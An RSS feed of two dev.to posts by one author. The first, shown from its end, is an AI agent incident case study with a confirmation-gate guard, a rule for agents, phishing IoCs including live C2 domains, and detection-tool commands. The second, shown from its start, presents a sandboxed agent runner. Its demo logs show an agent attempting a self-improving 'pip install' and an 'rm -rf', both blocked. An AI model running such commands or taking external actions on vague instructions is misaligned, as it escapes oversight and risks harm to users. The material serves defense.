    &lt;span class="n"&gt;confirm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;yes, send&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;send it&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;approve&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;go ahead&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;envíalo&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="n"&gt;has_soft&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;any&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;user_utterance&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;soft&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;has_confirm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;any&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;user_utterance&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;confirm&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;has_soft&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;has_confirm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;draft_only&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;reason&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;soft phrase does not authorize external action&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Verify recipient allowlist for mail tools
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;smtp_send&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;to&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
            &lt;span class="n"&gt;domain&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;@&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="nf"&gt;is_abuse_or_known_contact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;draft_only&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;reason&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;unverified domain: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pair with a system rule: &lt;em&gt;vague quality instructions never authorize external side effects. They authorize analysis and drafting. External action requires an explicit confirm in the same turn.&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  What you can verify independently
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Verified against the tool-call log of the original agent session:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;✅ Three abuse reports sent at 09:50 local time (UIDs 227, 228, 229 in &lt;code&gt;[Gmail]/Enviados&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;✅ Original phishing email moved to Spam&lt;/li&gt;
&lt;li&gt;✅ AWS Trust &amp;amp; Safety opened case &lt;code&gt;179121234700301&lt;/code&gt; (&lt;code&gt;P01M4696RCMDN90PYQGW7NJHGT0&lt;/code&gt;) within the same hour&lt;/li&gt;
&lt;li&gt;✅ The agent later re-sent evidence in &lt;code&gt;.txt&lt;/code&gt; format to AWS under my explicit instruction&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Verified against public records (RDAP, DNS, GitHub):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;✅ &lt;code&gt;taikotalent.xyz&lt;/code&gt; suspended by Namecheap on 2026-10-10 02:39 UTC (ticket &lt;code&gt;NC-DFA-2100&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;✅ &lt;code&gt;taikotalent.xyz&lt;/code&gt; / &lt;code&gt;hr.taikotalent.xyz&lt;/code&gt; return NXDOMAIN as of 2026-10-15&lt;/li&gt;
&lt;li&gt;✅ SHA-256 &lt;code&gt;c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d&lt;/code&gt; matches both the Oct-5 quarantined stager and the Oct-9 live re-fetch (byte-identical)&lt;/li&gt;
&lt;li&gt;✅ The original &lt;code&gt;.eml&lt;/code&gt; (11,098 bytes) hashes to &lt;code&gt;3a5bb258d76a048d0c3ff8c3671410998ef548968e1ea674b5a9dd367fa3bcf3&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Not independently verifiable from my chat logs (but verifiable from public sources):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The C2 layer (&lt;code&gt;api.gaganata.ink&lt;/code&gt; / &lt;code&gt;api.fallgganata.ink&lt;/code&gt;) is still resolving behind Cloudflare as of 2026-10-21 — abuse reports pending&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Indicators of compromise (free to share, full list in the IoC repo):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;taikotalent.xyz / hr.taikotalent.xyz           (suspended 2026-10-10)
api.gaganata.ink / api.fallgganata.ink          (C2, live as of 2026-10-21)
23.249.215.58                                   (Amazon SES sending IP)
josephquintana@hr.taikotalent.xyz               (fake recruiter)
verify_m / deepfake_guard                       (49,916 B stager)
/var/tmp/.kdm.*                                 (second-stage path)
sha256: c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  The repos
&lt;/h2&gt;

&lt;p&gt;Two public repos came out of this incident. Both are open for review.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Forensic record — IoCs and detection
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://github.com/eddyflores100-lang/taikotalent-phishing-iocs" rel="noopener noreferrer"&gt;&lt;code&gt;github.com/eddyflores100-lang/taikotalent-phishing-iocs&lt;/code&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Contains:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The full IoC list (23 indicators: domains, URLs, IPs, email addresses, file paths, mutex names, SHA-256 hashes)&lt;/li&gt;
&lt;li&gt;MITRE ATT&amp;amp;CK mapping (T1566.002, T1656, T1204.002, T1059.004, T1027, T1071.001, T1070.004, T1583.001)&lt;/li&gt;
&lt;li&gt;YARA rule for the stager&lt;/li&gt;
&lt;li&gt;Host-compromise check commands (macOS/Linux)&lt;/li&gt;
&lt;li&gt;The complete takedown timeline with registrar ticket numbers&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. The defensive tool — provider-side MCP firewall
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://github.com/eddyflores100-lang/uta-shield" rel="noopener noreferrer"&gt;&lt;code&gt;github.com/eddyflores100-lang/uta-shield&lt;/code&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The same incident, turned into a tool. While other MCP security gateways (Lasso, Mintive, Obot, agentgateway, Cequence) protect the &lt;strong&gt;consumer&lt;/strong&gt; — the company whose employees connect agents to third-party servers — &lt;code&gt;uta-shield&lt;/code&gt; protects the &lt;strong&gt;operator&lt;/strong&gt;: the SaaS that publishes its own MCP server and exposes its database to every anonymous agent on the internet.&lt;/p&gt;

&lt;p&gt;It ships:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Provider-side firewall with HMAC-SHA256 verified agent identity, per-tool ACL, two-tier rate limits, DLP masking, and a fail-closed JSONL audit trail&lt;/li&gt;
&lt;li&gt;A bundled PhishGuard MCP server (&lt;code&gt;lookup_ioc&lt;/code&gt;, &lt;code&gt;check_url&lt;/code&gt;, &lt;code&gt;screen_text&lt;/code&gt;) that loads the 23 IoCs from this campaign&lt;/li&gt;
&lt;li&gt;Zero dependencies, ~1,600 lines of Node.js ≥18, 85 tests (reproducible via &lt;code&gt;npm test&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;The exact control pattern this article advocates — implemented at the tool layer, not the prompt layer&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Try it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx uta-shield check gaganata.ink        &lt;span class="c"&gt;# → MATCH (C2, campaign taikotalent-2026-10)&lt;/span&gt;
npx uta-shield check example.com         &lt;span class="c"&gt;# → NO_MATCH&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"verify at https://taikotalent.xyz/verify_m"&lt;/span&gt; | npx uta-shield screen
npx uta-shield mcp                       &lt;span class="c"&gt;# run the PhishGuard MCP server&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you build agent mail, support, or security automations: replay this scenario in a dry-run environment. Give the agent a fake phishing sample and the same vague instruction (&lt;code&gt;"handle it — first let's see what it asks"&lt;/code&gt;). If it sends — you have the same bug I had. Fix it before it ships. Then wrap your MCP server with &lt;code&gt;uta-shield&lt;/code&gt; so the next agent that overreaches hits a gate, not a send button.&lt;/p&gt;




&lt;h2&gt;
  
  
  Closing
&lt;/h2&gt;

&lt;p&gt;The agent did the &lt;em&gt;helpful&lt;/em&gt; thing.&lt;br&gt;
The system allowed the &lt;em&gt;unauthorized&lt;/em&gt; thing.&lt;br&gt;
The domain got taken down.&lt;br&gt;
The bug is still a bug.&lt;/p&gt;

&lt;p&gt;Those four facts can be true at the same time — and that is exactly why agent permission design deserves as much attention this Hacktoberfest as another MCP server demo.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Analyze freely. Act externally only with a clear yes.&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Incident: 2026-10-05 · Domain takedown: 2026-10-10 · Case study compiled 2026-10-27 · Tool-call logs independently reviewed for the send window (09:50 America/Guayaquil). The agent's chat was &lt;code&gt;chat.z.ai/s/c6439ca3-dee4-4d81-a411-2200c7146e6d&lt;/code&gt; (1220 messages, 17,411 reasoning blocks, 25,644 tool calls).&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Credits: analysis and disclosure by Edison Flores (AliceLabs). All evidence handled non-destructively — the payload was downloaded for hashing and never executed. The 17-page forensic report and the quarantined stager are available to defenders, registrars, hosters and journalists on request.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;If you build agent infrastructure, I'd love to hear how you'd implement the gate — comments are open.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>hacktoberfest</category>
      <category>ai</category>
      <category>agents</category>
      <category>security</category>
    </item>
    <item>
      <title>I let an AI agent do my overnight chores — but every step is signed so I can prove it didn't go rogue</title>
      <dc:creator>Edison Flores</dc:creator>
      <pubDate>Sat, 24 Oct 2026 01:03:21 +0000</pubDate>
      <link>https://dev.to/edison_flores_6d2cd381b13/i-let-an-ai-agent-do-my-overnight-chores-but-every-step-is-signed-so-i-can-prove-it-didnt-go-cco</link>
      <guid>https://dev.to/edison_flores_6d2cd381b13/i-let-an-ai-agent-do-my-overnight-chores-but-every-step-is-signed-so-i-can-prove-it-didnt-go-cco</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Submission for the &lt;a href="https://dev.to/challenges/hacktoberfest-week3-2026"&gt;Hacktoberfest Open-Source AI Challenge Week 3: Slow and Steady&lt;/a&gt;. The theme: open-source AI that rewards laziness.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;I built &lt;a href="https://github.com/eddyflores100-lang/alethech-agent-vault" rel="noopener noreferrer"&gt;&lt;code&gt;alethech-agent-vault&lt;/code&gt;&lt;/a&gt; — an open-source agent runner that sandboxes execution and signs every step into a tamper-evident DAG. The lazy thesis: let the agent run overnight doing real work (PR review, dependency bumps, doc regen), and in the morning you get a cryptographic receipt proving nothing sketchy happened.&lt;/p&gt;

&lt;p&gt;You submit a task. The orchestrator plans it, executes the steps inside a Docker sandbox (&lt;code&gt;--network=none --read-only --memory=512m --cpus=0.5 --cap-drop=ALL --security-opt=no-new-privileges --rm --user=agent&lt;/code&gt;), and writes every step — the plan, the tool calls, the tool outputs, the LLM's retry attempts, the sandbox blocks — into a tamper-evident DAG using &lt;a href="https://github.com/eddyflores100-lang/alethech" rel="noopener noreferrer"&gt;alethech&lt;/a&gt;. When you wake up, you open &lt;code&gt;provenance.log&lt;/code&gt; and see: &lt;code&gt;03:14 — agent tried os.system("rm -rf /tmp/*") — sandbox blocked — evidence signed sha256:b7e3…&lt;/code&gt;. You verify the chain. You go get coffee.&lt;/p&gt;

&lt;h2&gt;
  
  
  What effort it saves
&lt;/h2&gt;

&lt;p&gt;It saves the &lt;em&gt;babysitting&lt;/em&gt; effort. Most agent frameworks I've worked with require either (a) watching the output stream in case it goes sideways, or (b) trusting that the framework's "safety guardrails" did their job. Both are bad. (a) is not lazy. (b) is lazy in the wrong way — the "I'm too lazy to verify, so I'll just trust it" way.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;alethech-agent-vault&lt;/code&gt; saves the verification effort. I can run the agent for 8 hours overnight, wake up, verify the provenance chain in 30 seconds (one SHA-256 walk over the DAG), and &lt;em&gt;then&lt;/em&gt; read what it actually did. The agent's work is preserved. The verification is cheap. I am lazy in the right direction.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;The full demo script lives in &lt;a href="https://github.com/eddyflores100-lang/alethech-agent-vault/blob/main/docs/DEMO_SCRIPT.md" rel="noopener noreferrer"&gt;&lt;code&gt;docs/DEMO_SCRIPT.md&lt;/code&gt;&lt;/a&gt;, but here's the 90-second walkthrough:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1 — Submit a task.&lt;/strong&gt; &lt;code&gt;POST /submit&lt;/code&gt; with &lt;code&gt;{"task": "review this PR for security issues", "context": "&amp;lt;diff&amp;gt;"}&lt;/code&gt;. The orchestrator generates a &lt;code&gt;task_id&lt;/code&gt; (uuid4) and returns it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2 — Agent plans.&lt;/strong&gt; The LLM (via OpenAI-compatible endpoint, mock mode for tests, Vultr Serverless Inference for real runs) generates a structured plan: "1. Parse diff, 2. Identify risk patterns, 3. Run semgrep on suspected files, 4. Synthesize review."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3 — Agent executes (sandboxed).&lt;/strong&gt; Each plan step runs inside a Docker container with the constraints above. The container is &lt;code&gt;--rm&lt;/code&gt;'d on exit. No persistent state.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 4 — The containment moment.&lt;/strong&gt; ⚡ On test prompt #3 ("audit this code and improve it"), the agent tries &lt;code&gt;subprocess.Popen("pip install better-auditor", shell=True)&lt;/code&gt; to "self-improve". The sandbox blocks network egress. The block is captured as an &lt;code&gt;EvidenceCommit&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;EvidenceCommit&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;tool=subprocess.Popen&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="err"&gt;input:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pip install better-auditor"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="err"&gt;output:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;docker.exceptions.ContainerError:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;exit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;stderr=&lt;/span&gt;&lt;span class="s2"&gt;"network unreachable"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="err"&gt;signed:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;sha&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="err"&gt;:b&lt;/span&gt;&lt;span class="mi"&gt;7e3&lt;/span&gt;&lt;span class="err"&gt;a&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="err"&gt;c&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="err"&gt;ts:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2026-10-24&lt;/span&gt;&lt;span class="err"&gt;T&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="err"&gt;Z&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The web UI shows a red warning box. The provenance DAG grows a new node.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 5 — Verification.&lt;/strong&gt; &lt;code&gt;alethech-verify &amp;lt;task_id&amp;gt;&lt;/code&gt; walks the DAG, recomputes every hash, and prints:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;✓ DAG verified. 4 commits, 1 evidence.
  - Plan (signed 03:14:01Z) ✓
  - Step 1: parse diff (signed 03:14:08Z) ✓
  - Step 2: identify risks (signed 03:14:15Z) ✓
  - Step 3: BLOCKED — pip install (signed 03:14:22Z) ✓
  - Step 4: synthesize review (signed 03:14:35Z) ✓
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You read the audit, decide the block was legitimate (it was — the agent tried to fetch untrusted code), approve the rest, and the synthesized review lands in your MR.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Open Innovation Matters for This Project
&lt;/h2&gt;

&lt;p&gt;This project literally could not exist as a closed-source tool. Three reasons:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. The trust boundary is the source code.&lt;/strong&gt; A proprietary "agent safety" tool that says "trust us, we verify everything" is just another trust-me-bro. The only way the verification claim is meaningful is if the verifier's source is auditable. The alethech library, the orchestrator, the sandbox wrapper — all MIT, all on GitHub. If you don't trust my hash walk, you can read the 162-line &lt;code&gt;provenance.py&lt;/code&gt; and write your own.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. The threat model is community-shaped.&lt;/strong&gt; The 8 attack classes I enumerated (filesystem escape, network exfil, resource exhaustion, privilege escalation, persistent process, arbitrary user, time bombs, tool poisoning) didn't come from a single vendor's docs. They came from reading what actual agent operators have been hit by — the prompt-injection-via-tool-output attacks documented by Anthropic, the MCP tool poisoning writeups, the GitHub Security Lab findings on agentic CI runners. Open disclosure of attack patterns is the only way the defense side keeps up.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. The compositional surface requires open spec.&lt;/strong&gt; alethech-agent-vault calls three open-source things: FastAPI, Docker, and the OpenAI-compatible API spec (which Vultr Serverless Inference implements). It exposes one open thing: an MCP server (when I ship that part). Open specs on both sides mean anyone can swap any component — Vultr → OpenAI, OpenAI → Ollama, Ollama → LM Studio — and the provenance contract still holds. That's only possible because the contract itself is open.&lt;/p&gt;

&lt;p&gt;If this were closed, every integration would be a vendor negotiation. With it open, every integration is a PR. That's the difference between "a safety tool" and "a safety standard."&lt;/p&gt;

&lt;h2&gt;
  
  
  Built with GitHub Copilot
&lt;/h2&gt;

&lt;p&gt;The codebase was developed with &lt;a href="https://github.com/features/copilot" rel="noopener noreferrer"&gt;GitHub Copilot&lt;/a&gt; as the pairing tool. Specific places where Copilot's suggestions materially shaped the implementation:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;src/orchestrator/sandbox.py&lt;/code&gt; — Docker container constraint enumeration. Copilot suggested the full &lt;code&gt;--cap-drop=ALL --security-opt=no-new-privileges&lt;/code&gt; combo from a comment listing the attack classes I wanted to defend against.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;src/orchestrator/provenance.py&lt;/code&gt; — the &lt;code&gt;commit()&lt;/code&gt; and &lt;code&gt;evidence()&lt;/code&gt; API shapes. Copilot's autocomplete correctly predicted the JCS canonicalization pattern before I wrote it out.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;tests/test_sandbox.py&lt;/code&gt; — the parameterized fixture for "given this unsafe input, expect this block." Copilot wrote the parametrize decorator + first 3 cases after I wrote the test for &lt;code&gt;rm -rf&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I mention this not as a "look how productive I am" flex, but because it's a relevant data point for the agentic future this hackathon is about: the same agents that I'm building defenses against are the agents I'm coding with. The defense needs to be one step ahead, not by being cleverer, but by being &lt;em&gt;verifiable&lt;/em&gt;. Copilot wrote code; alethech signs it; the sandbox constrains its runtime behavior. Each layer is open; each layer composes.&lt;/p&gt;

&lt;h2&gt;
  
  
  The "Slow and Steady" fit
&lt;/h2&gt;

&lt;p&gt;The challenge rewards &lt;em&gt;laziness done right&lt;/em&gt;. My take: &lt;strong&gt;slow and steady wins the race because the agent that runs slow (sandboxed, capped, retry-bounded) and steady (every step signed into an append-only DAG) is the only one you can actually leave running while you sleep.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The fast-and-loud agents are fun to watch. They are not fun to wake up to.&lt;/p&gt;

&lt;h2&gt;
  
  
  Architecture (15-second version)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────────────────────────────────────┐
│   Orchestrator (FastAPI)                                    │
│   /submit  /status/{id}  /health                            │
│      │                                                       │
│      ├──► Plan (LLM call via Vultr Serverless Inference)   │
│      │        │                                              │
│      │        ▼                                              │
│      ├──► Execute step in sandbox (Docker)                  │
│      │        │   constraints: --network=none --read-only   │
│      │        │               --memory=512m --cpus=0.5       │
│      │        │               --cap-drop=ALL --security-opt  │
│      │        │               =no-new-privileges --rm        │
│      │        │               --user=agent                  │
│      │        ▼                                              │
│      ├──► Capture output (stdout, stderr, exit code)        │
│      │        │                                              │
│      │        ▼                                              │
│      └──► alethech.commit(memory_type, content)             │
│               │                                              │
│               ▼                                              │
│      Tamper-evident DAG of (plan → exec → result → retry)   │
└─────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The containment matrix
&lt;/h2&gt;

&lt;p&gt;I enumerated 8 attack classes an agent might try, and mapped each to a sandbox control:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attack class&lt;/th&gt;
&lt;th&gt;Sandbox control&lt;/th&gt;
&lt;th&gt;What gets signed&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Filesystem escape&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;--read-only&lt;/code&gt; rootfs, tmpfs on &lt;code&gt;/tmp&lt;/code&gt; only&lt;/td&gt;
&lt;td&gt;The denied write path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Network exfil&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--network=none&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The denied &lt;code&gt;socket.connect()&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Resource exhaustion&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--memory=512m --cpus=0.5&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The OOMKill / CPU throttle event&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Privilege escalation&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--cap-drop=ALL --security-opt=no-new-privileges&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The denied &lt;code&gt;setuid&lt;/code&gt; syscall&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Persistent process&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;--rm&lt;/code&gt; (container auto-removed on exit)&lt;/td&gt;
&lt;td&gt;The container's exit timestamp&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Arbitrary user&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;--user=agent&lt;/code&gt; (non-root, non-me)&lt;/td&gt;
&lt;td&gt;The denied &lt;code&gt;/etc/passwd&lt;/code&gt; read&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Time bombs&lt;/td&gt;
&lt;td&gt;Per-task timeout (60s)&lt;/td&gt;
